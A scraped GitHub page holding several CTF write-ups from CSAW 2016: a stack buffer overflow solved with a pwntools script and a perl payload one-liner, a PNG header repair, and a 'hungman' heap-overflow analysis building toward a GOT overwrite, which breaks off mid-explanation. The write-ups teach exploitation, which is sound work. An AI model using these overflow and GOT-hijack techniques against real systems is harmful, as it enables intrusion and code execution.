</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>writeup.txt</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|

The challenge provides us with a binary "warmup".Running this binary prints a hex value, then takes user input.
Opening it in ida shows that it is printing the address of some symbol named "easy":
Lets see what this 'easy' symbol is:
The function 'easy' simply prints out the flag to us.
Looking back at the main method, the part that takes in user input is vulnerable to buffer overflow.The buffer that it writes into is located at [bp - 40h], so anything past 0x40 bytes will overwrite other info.
If you are not familiar with the x86 stack frame layout, http://eli.thegreenplace.net/2011/09/06/stack-frame-layout-on-x86-64 has some good diagrams.In short, the return address of our current function is stored at RBP + 8. If we overwrite this return address with the address of 'easy', the main function will return into easy, and will printthe flag for us.
I threw together a quick python script to run this exploit:~~~#pwntools provides many tools for exploitation challengesfrom pwn import *
#establish a connection to the server running the "warmup" binaryr = remote('pwn.chal.csaw.io', 8000)
#receive the first message, which containts the address of 'easy'msg = r.recv()lines = msg.split('\n')
#slice the second line of the server message to get the address it sent and convert it to an integeraddress = int(lines[1][4:],16)
#sends enough A's to fill the buffer up to the location of the return address, followed by the address of 'easy' that was leaked to us earlierr.sendline("A" * (0x40 + 8) + p64(address))
#print the server responseprint(r.recv())~~~Running this gives the flag:
|
#Corrupt Transmission
O challenge fornecia um arquivo com headers quebrados:```00000000: 90 50 4e 47 0e 1a 0a 1b .PNG....```Como a dica óbvia já deixava claro ser um png, foi só copiar os headers de um png que tinha no meu computador e editar com xxd
```00000000: 89 50 4e 47 0d 0a 1a 0a .PNG...```
e a imagem abriu. |
# CSAW 2016 Quals# warmup##### Brad Daniels -- USF Whitehatter's Computer Security Club##### pwn -- 50 points## DescriptionSo you want to be a pwn-er huh? Well let's throw you an easy one ;)
`nc pwn.chal.csaw.io 8000`
## SolutionWarmup gives you a 64-bit ELF binary. When run, it produces the following output and allows the user to enter a string.~~~sh$ ./warmup-Warm Up-WOW:0x40060d> sh$ ~~~Each time it's run, it produces the same "WOW" hex value, `0x40060d`.
Lets open the file in gdb to see what's going on.
~~~sh$ gdb warmup(gdb) info functionsAll defined functions:
Non-debugging symbols:0x0000000000400488 _init0x00000000004004c0 write@plt0x00000000004004d0 system@plt0x00000000004004e0 __libc_start_main@plt0x00000000004004f0 __gmon_start__@plt0x0000000000400500 gets@plt0x0000000000400510 sprintf@plt0x0000000000400520 _start0x0000000000400550 deregister_tm_clones0x0000000000400580 register_tm_clones0x00000000004005c0 __do_global_dtors_aux0x00000000004005e0 frame_dummy0x000000000040060d easy0x000000000040061d main0x00000000004006b0 __libc_csu_init0x0000000000400720 __libc_csu_fini0x0000000000400724 _fini(gdb)~~~
The one function that sticks out here is "easy". If we disasemble it we see that it calls `system("cat flag.txt")`
~~~(gdb) disas easyDump of assembler code for function easy:0x000000000040060d <+0>: push rbp0x000000000040060e <+1>: mov rbp,rsp0x0000000000400611 <+4>: mov edi,0x4007340x0000000000400616 <+9>: call 0x4004d0 <system@plt>0x000000000040061b <+14>: pop rbp0x000000000040061c <+15>: retEnd of assembler dump.(gdb) x/s 0x4007340x400734: "cat flag.txt"(gdb)~~~
The main function ends with a `gets()` call followed by the `leave` and `ret` instructions. Since `gets()` is vulnerable to buffer overflows, we should be able to overwrite the return address of the main function and replace it with the address of "easy".
Let's set a breakpoint after the call to `gets()`, enter some text, and observe what happens on the stack.
~~~(gdb) b * 0x00000000004006a3Breakpoint 1 at 0x4006a3(gdb) rStarting program: ./warmup-Warm Up-WOW:0x40060d>aaaaaaaa
Breakpoint 1, 0x00000000004006a3 in main ()(gdb) p $rbp$4 = (void *) 0x7fffffffe360(gdb) p $rsp$5 = (void *) 0x7fffffffe2e0(gdb) x/20gz $rsp0x7fffffffe2e0: 0x6430363030347830 0x000000000000000a0x7fffffffe2f0: 0x0000000000000000 0x00000000000000000x7fffffffe300: 0x0000000000000000 0x00000000000000000x7fffffffe310: 0x0000000000000000 0x00000000000000000x7fffffffe320: 0x6161616161616161 0x00000000004006000x7fffffffe330: 0x0000000000000000 0x00000000000000000x7fffffffe340: 0x00000000004006b0 0x00000000004005200x7fffffffe350: 0x00007fffffffe440 0x00000000000000000x7fffffffe360: 0x00000000004006b0 0x00007ffff7a2e8300x7fffffffe370: 0x0000000000000000 0x00007fffffffe448(gdb)~~~At `0x7fffffffe360` is the previous stack frame base pointer, and in the following word at `0x7fffffffe368` sits the return address of the `main` function. That is what we need to overwrite.
Since the current return address is 6 bytes, we need our injected address to overwrite all those bytes. If we don't include two extra null bytes, our return address will wind up being `0x00007fff0040060d`, which will cause a segfault. `gets()` allows us to include null bytes in our string so this should be easy.
We can use a perl one-liner to easily prepare a suitable injection string. ~~~sh$ perl -e 'print "a"x72; print "\x0d\x06\x40\x00\x00"' > egg.txtsh$ nc pwn.chal.csaw.io 8000 < egg.txt-Warm Up-WOW:0x40060d>FLAG{LET_US_BEGIN_CSAW_2016}~~~ |
## CSAW CTF 2016 - hungman (Pwn 300pt)##### 16/09 - 18/09/2016 (48hr)___
### Description: nc pwn.chal.csaw.io 8003 ### Solution
After playing a little bit with the program, we can easily find out that this is hangman game (thename of the challenge also gives a hint).
First of all function get_name_400F2D is called to read user's name:```assembly.text:0000000000400A8C mov eax, 0.text:0000000000400A91 call get_name_400F2D.text:0000000000400A96 mov cs:player_obj_6020E0, rax.text:0000000000400A9D mov rax, cs:player_obj_6020E0.text:0000000000400AA4 mov rax, [rax+8] ; get name.text:0000000000400AA8 mov rsi, rax.text:0000000000400AAB mov edi, offset format ; "Welcome %s\n".text:0000000000400AB0 mov eax, 0.text:0000000000400AB5 call _printf```
get_name_400F2D(), allocates buffer in the heap, big enough (up to 0xf7) for the name (no overflows here). Then it also allocates a special object (let's call it play_obj) (128B long) with the following fields:``` offset 0: player's score offset 4: name length offset 8: pointer to name offset 16: bitmap with guessed letters```
Then we enter the main game loop:```assembly.text:0000000000400ABA LOOP_400ABA: ; CODE XREF: main_400A0D+11E?j.text:0000000000400ABA mov rax, cs:player_obj_6020E0.text:0000000000400AC1 mov edx, [rbp+ur_fd].text:0000000000400AC4 mov esi, edx ; arg2: urandom fd.text:0000000000400AC6 mov rdi, rax ; arg1: player object.text:0000000000400AC9 call play_hangman_400B3A......text:0000000000400B28 jz short BREAK_400B2D.text:0000000000400B2A nop.text:0000000000400B2B jmp short LOOP_400ABA```
play_hangman_400B3A() implements one "play" of the game. The first job of this function is togenerate a word with random letters (/dev/urandom is used for that). The size of this wordwill be a long as the name:
```assembly.text:0000000000400B4D mov eax, [rax+4] ; get name length.text:0000000000400B50 mov [rbp+namelen_3C], eax.text:0000000000400B53 mov eax, [rbp+namelen_3C].text:0000000000400B56 cdqe.text:0000000000400B58 mov rdi, rax ; size.text:0000000000400B5B call _malloc.text:0000000000400B60 mov [rbp+buf], rax.text:0000000000400B64 cmp [rbp+buf], 0.text:0000000000400B69 jz locret_400F2B
.text:0000000000400B6F mov eax, [rbp+namelen_3C].text:0000000000400B72 movsxd rdx, eax ; nbytes.text:0000000000400B75 mov rcx, [rbp+buf].text:0000000000400B79 mov eax, [rbp+fd].text:0000000000400B7C mov rsi, rcx ; buf.text:0000000000400B7F mov edi, eax ; fd.text:0000000000400B81 call _read ; read strlen(name) random bytes.text:0000000000400B86 mov [rbp+var_30], 0.text:0000000000400B8E jmp short loc_400C07.text:0000000000400B90 ; ---------------------------------------------------------------------------.text:0000000000400B90.text:0000000000400B90 GEN_WORD_400B90: ; CODE XREF: play_hangman_400B3A+D9?j.text:0000000000400B90 mov rax, [rbp+var_30] ; generate a random word......text:0000000000400C0F cmp rax, [rbp+var_30].text:0000000000400C13 ja GEN_WORD_400B90 ; generate a random word```
After we generate the word, we give 3 wrong attemps to the user:```assembly .text:0000000000400C19 mov [rbp+attemps_44], 3```
The next step is to print the word. The bitmap array that we mentioned in above, is 26 byteslong and contains 1 entry for each letter a-z. If user guesses correctly one letter, let's say 'k', then bitmap['k' - 'a'] = 1. Otherwise is 0. So, if bitmap[word[i] - 'a'] is 0 thenan underscore is printed, otherwise the (already) found letter is printed:```assembly.text:0000000000400C3A PRINT_WORD_400C3A: ; CODE XREF: play_hangman_400B3A+167?j.text:0000000000400C3A mov rax, [rbp+iter_28].text:0000000000400C3E mov rdx, [rbp+buf].text:0000000000400C42 add rax, rdx.text:0000000000400C45 movzx eax, byte ptr [rax].text:0000000000400C48 movsx eax, al.text:0000000000400C4B sub eax, 61h.text:0000000000400C4E mov rdx, [rbp+player_obj_ptr_58].text:0000000000400C52 cdqe.text:0000000000400C54 movzx eax, byte ptr [rdx+rax+10h] ; player_obj.bitmap[word[i] - 'a'] == 0?.text:0000000000400C59 test al, al.text:0000000000400C5B jz short DONT_PRINT_400C7C.text:0000000000400C5D mov rax, [rbp+iter_28] ; print letter.text:0000000000400C61 mov rdx, [rbp+buf].text:0000000000400C65 add rax, rdx.text:0000000000400C68 mov edx, 1 ; n.text:0000000000400C6D mov rsi, rax ; buf.text:0000000000400C70 mov edi, 1 ; fd.text:0000000000400C75 call _write.text:0000000000400C7A jmp short loc_400C90.text:0000000000400C7C ; ---------------------------------------------------------------------------.text:0000000000400C7C.text:0000000000400C7C DONT_PRINT_400C7C: ; CODE XREF: play_hangman_400B3A+121?j.text:0000000000400C7C mov edx, 1 ; n.text:0000000000400C81 mov esi, offset a_ ; "_".text:0000000000400C86 mov edi, 1 ; fd.text:0000000000400C8B call _write.text:0000000000400C90.text:0000000000400C90 loc_400C90: ; CODE XREF: play_hangman_400B3A+140?j.text:0000000000400C90 add [rbp+iter_28], 1.text:0000000000400C95.text:0000000000400C95 PRINT_WORD_END_400C95: ; CODE XREF: play_hangman_400B3A+FE?j.text:0000000000400C95 mov eax, [rbp+namelen_3C].text:0000000000400C98 sub eax, 1.text:0000000000400C9B cdqe.text:0000000000400C9D cmp rax, [rbp+iter_28].text:0000000000400CA1 ja short PRINT_WORD_400C3A```
Then program waits from the user to give a character which must be in [a-z]:```assembly......text:0000000000400CB7 lea rax, [rbp+char_46].text:0000000000400CBB mov rsi, rax.text:0000000000400CBE mov edi, offset aC ; " %c".text:0000000000400CC3 mov eax, 0.text:0000000000400CC8 call ___isoc99_scanf.text:0000000000400CCD movzx eax, [rbp+char_46].text:0000000000400CD1 cmp al, 60h ; character must be [a-z].text:0000000000400CD3 jle short INVALID_CHAR_400CDD.text:0000000000400CD5 movzx eax, [rbp+char_46].text:0000000000400CD9 cmp al, 7Ah.text:0000000000400CDB jle short CHAR_OK_400CF0.text:0000000000400CDD......text:0000000000400CF0 CHAR_OK_400CF0: ; CODE XREF: play_hangman_400B3A+1A1?j.text:0000000000400CF0 movzx eax, [rbp+char_46].text:0000000000400CF4 movsx eax, al.text:0000000000400CF7 sub eax, 61h ; index character.text:0000000000400CFA mov rdx, [rbp+player_obj_ptr_58].text:0000000000400CFE cdqe.text:0000000000400D00 movzx eax, byte ptr [rdx+rax+10h] ; player_obj.bitmap[char - 'a'] == 0?.text:0000000000400D05 test al, al.text:0000000000400D07 jz short CHAR_GIVEN_400D1C.text:0000000000400D09 mov edi, offset s ; "nope".text:0000000000400D0E.text:0000000000400D0E loc_400D0E:.text:0000000000400D0E call _puts.text:0000000000400D13 sub [rbp+attemps_44], 1.text:0000000000400D17 jmp MORE_TOGO_400DC1.text:0000000000400D1C.text:0000000000400D1C CHAR_GIVEN_400D1C: ```
Then we scan the the hidden word letter by letter and we check if the user's letter matchesanywhere:```assembly.text:0000000000400D2C MATCH_CHAR_400D2C: ; CODE XREF: play_hangman_400B3A+232?j.text:0000000000400D2C mov rax, [rbp+iter_20].text:0000000000400D30 mov rdx, [rbp+buf].text:0000000000400D34 add rax, rdx.text:0000000000400D37 movzx edx, byte ptr [rax].text:0000000000400D3A movzx eax, [rbp+char_46].text:0000000000400D3E cmp dl, al ; word[i] == char?.text:0000000000400D40 jnz short CH_NOT_FOUND_400D5B.text:0000000000400D42 movzx eax, [rbp+char_46].text:0000000000400D46 movsx eax, al.text:0000000000400D49 sub eax, 61h.text:0000000000400D4C mov rdx, [rbp+player_obj_ptr_58].text:0000000000400D50 cdqe.text:0000000000400D52 mov byte ptr [rdx+rax+10h], 1.text:0000000000400D57 add [rbp+found_40], 1.text:0000000000400D5B.text:0000000000400D5B CH_NOT_FOUND_400D5B: ; CODE XREF: play_hangman_400B3A+206?j.text:0000000000400D5B add [rbp+iter_20], 1.text:0000000000400D60.text:0000000000400D60 loc_400D60: ; CODE XREF: play_hangman_400B3A+1F0?j.text:0000000000400D60 mov eax, [rbp+namelen_3C].text:0000000000400D63 sub eax, 1.text:0000000000400D66 cdqe.text:0000000000400D68 cmp rax, [rbp+iter_20].text:0000000000400D6C ja short MATCH_CHAR_400D2C```
If the word doesn't contain this letter, then we decrement the number of attempts. We actually compare the letters found between current and previous round and if they're equal, then we can infer that no new letters were found:```assembly.text:0000000000400D6E mov eax, [rbp+prev_found_38].text:0000000000400D71 cmp eax, [rbp+found_40].text:0000000000400D74 jnz short SOMETHING_FOUND_400D7A.text:0000000000400D76 sub [rbp+attemps_44], 1 ; if no chars found, reduce attempts.text:0000000000400D7A.text:0000000000400D7A SOMETHING_FOUND_400D7A: ; CODE XREF: play_hangman_400B3A+23A?j```
After that, we check if all characters have found, or if user spend all of his attempts:```assembly.text:0000000000400D7A mov eax, [rbp+namelen_3C].text:0000000000400D7D sub eax, 1.text:0000000000400D80 cmp eax, [rbp+found_40] ; all characters found?.text:0000000000400D83 jg short MORE_TOGO_400DC1..... ; user found all characters
.text:0000000000400DC1.text:0000000000400DC1 MORE_TOGO_400DC1: ; CODE XREF: play_hangman_400B3A+F1?j.text:0000000000400DC1 ; play_hangman_400B3A+1B1?j ....text:0000000000400DC1 cmp [rbp+attemps_44], 0.text:0000000000400DC5 jg PLAY_LOOP_400C30 ; game ended without all characters revealed```
In any case, if the game ends then the score get's calculated. If user doesn't find theword, he get's a score of: namelen*found / 4:```assembly.text:0000000000400DCB mov rax, [rbp+player_obj_ptr_58] ; game ended here: get score.text:0000000000400DCF mov eax, [rax] ; player_obj.score (offset 0).text:0000000000400DD1 cvtsi2sd xmm1, eax ; xmm1 = score.text:0000000000400DD5 cvtsi2sd xmm2, [rbp+found_40] ; xmm2 = found.text:0000000000400DDA mov eax, [rbp+namelen_3C].text:0000000000400DDD sub eax, 1.text:0000000000400DE0 cvtsi2sd xmm0, eax ; xmm0 = namelen.text:0000000000400DE4 movsd xmm3, cs:CONST_1_4011A0 ; xmm3 = 0.25 (const).text:0000000000400DEC mulsd xmm0, xmm3.text:0000000000400DF0 mulsd xmm0, xmm2.text:0000000000400DF4 addsd xmm0, xmm1.text:0000000000400DF8 cvttsd2si edx, xmm0 ; edx = 0.25*len*found + score.text:0000000000400DFC mov rax, [rbp+player_obj_ptr_58].text:0000000000400E00 mov [rax], edx ; score += namelen*found / 4```
And if he finds the word he gets a score of 8*namelen:```assembly.text:0000000000400D89 mov eax, [rax].text:0000000000400D8B cvtsi2sd xmm1, eax.text:0000000000400D8F mov eax, [rbp+namelen_3C].text:0000000000400D92 sub eax, 1.text:0000000000400D95 cvtsi2sd xmm0, eax ; xmm0 = namelen.text:0000000000400D99 movsd xmm2, cs:CONST_1_4011A0 ; xmm2 = 0.25.text:0000000000400DA1 mulsd xmm0, xmm2.text:0000000000400DA5 movsd xmm2, cs:CONST_2_4011A8 ; xmm2 = 32.text:0000000000400DAD mulsd xmm0, xmm2.text:0000000000400DB1 addsd xmm0, xmm1.text:0000000000400DB5 cvttsd2si edx, xmm0.text:0000000000400DB9 mov rax, [rbp+player_obj_ptr_58] ; edx = 0.25*len*32 + score.text:0000000000400DBD mov [rax], edx ; score += 8*len```
Now, if the score becomes greater than default highscore (64) then the user is asked to changehis name if he wants to:```assembly.text:0000000000400E02 HIGHSCORE_400E02: ; CODE XREF: play_hangman_400B3A+285?j.text:0000000000400E02 mov rax, [rbp+player_obj_ptr_58].text:0000000000400E06 mov edx, [rax].text:0000000000400E08 mov eax, cs:highscore_602300.text:0000000000400E0E cmp edx, eax.text:0000000000400E10 jle NOT_HIGHSCORE_400F05.text:0000000000400E16 mov edi, offset aHighScoreChang ; "High score! change name?".text:0000000000400E1B call _puts......text:0000000000400E3C jnz NO_NAME_CHANGE_400ED5.text:0000000000400E42 mov edi, 0F8h ; size.text:0000000000400E47 call _malloc.text:0000000000400E4C mov [rbp+s], rax.text:0000000000400E50 mov rax, [rbp+s].text:0000000000400E54 mov edx, 0F8h ; n.text:0000000000400E59 mov esi, 0 ; c.text:0000000000400E5E mov rdi, rax ; s.text:0000000000400E61 call _memset.text:0000000000400E66 mov rax, [rbp+s].text:0000000000400E6A mov edx, 0F8h ; nbytes.text:0000000000400E6F mov rsi, rax ; buf.text:0000000000400E72 mov edi, 0 ; fd.text:0000000000400E77 call _read.text:0000000000400E7C mov [rbp+var_34], eax.text:0000000000400E7F.text:0000000000400E7F loc_400E7F:.text:0000000000400E7F mov rax, [rbp+player_obj_ptr_58].text:0000000000400E83 mov edx, [rbp+var_34].text:0000000000400E86 mov [rax+4], edx.text:0000000000400E89 mov rax, [rbp+s].text:0000000000400E8D mov esi, 0Ah ; c.text:0000000000400E92 mov rdi, rax ; s.text:0000000000400E95 call _strchr.text:0000000000400E9A mov [rbp+var_8], rax.text:0000000000400E9E cmp [rbp+var_8], 0.text:0000000000400EA3 jz short loc_400EAC.text:0000000000400EA5 mov rax, [rbp+var_8].text:0000000000400EA9 mov byte ptr [rax], 0.text:0000000000400EAC.text:0000000000400EAC loc_400EAC: ; CODE XREF: play_hangman_400B3A+369?j.text:0000000000400EAC mov eax, [rbp+var_34].text:0000000000400EAF movsxd rdx, eax ; n.text:0000000000400EB2 mov rax, [rbp+player_obj_ptr_58].text:0000000000400EB6 mov rax, [rax+8].text:0000000000400EBA mov rcx, [rbp+s].text:0000000000400EBE mov rsi, rcx ; src.text:0000000000400EC1 mov rdi, rax ; dest.text:0000000000400EC4 call _memcpy ; overflow!.text:0000000000400EC9 mov rax, [rbp+s].text:0000000000400ECD mov rdi, rax ; ptr.text:0000000000400ED0 call _free.text:0000000000400ED5.text:0000000000400ED5 NO_NAME_CHANGE_400ED5: ; CODE XREF: play_hangman_400B3A+302?j.text:0000000000400ED5 mov rax, [rbp+player_obj_ptr_58].text:0000000000400ED9 mov rax, [rax+8].text:0000000000400EDD mov rcx, rax.text:0000000000400EE0 mov edx, offset aHighestPlayerS ; "Highest player: %s".text:0000000000400EE5 mov esi, 200h ; maxlen.text:0000000000400EEA mov edi, offset highscore_602100 ; s.text:0000000000400EEF mov eax, 0.text:0000000000400EF4 call _snprintf.text:0000000000400EF9 mov rax, [rbp+player_obj_ptr_58].text:0000000000400EFD mov eax, [rax].text:0000000000400EFF mov cs:highscore_602300, eax.text:0000000000400F05.text:0000000000400F05 NOT_HIGHSCORE_400F05: ; CODE XREF: ```
That's pretty much all what the game does. Let's move on...___
### The vulnerabilityIf you're careful, you might notice the vulnerability in the above assembly snippet: Programassumes that the new name of the user won't be greater that current name. If for exampleinitial name is 10 characters long and we win a game, then we can set a name up to 0xf8characters long, thus overflowing the buffer of the name. Because name buffer is allocatedBEFORE play_obj, it means that it will be higher in the heap. Thus it's possible tooverwrite the name pointer within play_obj.
### The flawAll good so far, but in order to trigger the vulnerability we have to get a score higherthan 64. We don't need to win to get that score; If we play for a long time and we guess some letters before we lose, we can eventually get a higher score.
But we don't have to do that, as the program has a flaw that allow us to win very easily.The length of the hidden word is as big as the name that we give => we can manipulate it.Hidden word contains only letters [a-z], and these are coming from a strong PRG.
So what if we set a word with 100+ letters? It's very likely that all the letters willappear at least once. Thus we can start sending all letters from a to z until we guessall of them. Our score will be very high as the word will have > 100 characters.
### Arbitrary read/write primitivesOnce we set a bigger name and we overwrite the name pointer in player_obj, then we caneasily get an arbitrary read as the program displays the name of the highest player:
```assembly.text:0000000000400ED5 mov rax, [rbp+player_obj_ptr_58].text:0000000000400ED9 mov rax, [rax+8].text:0000000000400EDD mov rcx, rax.text:0000000000400EE0 mov edx, offset aHighestPlayerS ; "Highest player: %s".text:0000000000400EE5 mov esi, 200h ; maxlen.text:0000000000400EEA mov edi, offset highscore_602100 ; s.text:0000000000400EEF mov eax, 0.text:0000000000400EF4 call _snprintf.text:0000000000400EF9 mov rax, [rbp+player_obj_ptr_58].text:0000000000400EFD mov eax, [rax].text:0000000000400EFF mov cs:highscore_602300, eax```
If we play the game for a second time and win it again, then we can change our nameagain. But this time the write will be happen where the name pointer of the player_objpoints to, which this gives us an arbitrary write.
### Exploitation processThis first though is .got overwrite. But the requirement is a partial RELRO. Let's checkthis:```root@nogirl:/home/ispo/ctf/csaw_16# /opt/checksec.sh --file hungmanRELRO STACK CANARY NX PIE RPATH RUNPATH FILEPartial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH hungman```
Nice. So we can do a .got overwrite.
The easy plan is to overwrite .got.free(), during memcpy() at 0x400ec4 and the immediatellyjump into it:```assembly.text:0000000000400EC4 call _memcpy ; overflow!.text:0000000000400EC9 mov rax, [rbp+s].text:0000000000400ECD mov rdi, rax ; ptr.text:0000000000400ED0 call _free```
This sounds good, but there's a small problem: When free() is called, it will take as an argument the start address of our overflowed buffer, which actually points to .got.free().Thus the argument won't be /bin/sh. So we need to point the buffer above got.free(), having enough space to add the /bin/sh, and then overflow free(). This sounds good, but we cannot get a leak as free() is the first entry in libc. I'm sure that there will be an easier solution, but that moment I wasn't able to think about it.
So, we have a total control of the whole GOT, so we can totally screw the control flow of the program. What we want is to transfer control to a function that takes a pointer as a firstargument. We also need to control the contents of that pointer.
If we go back and take a look at available function in GOT, we can see that setvbuf() andmemset() are good candidates. setvbuf() takes a FILE* pointer as an argument which is located at:```assembly.bss:00000000006020C0 ; FILE *stdout
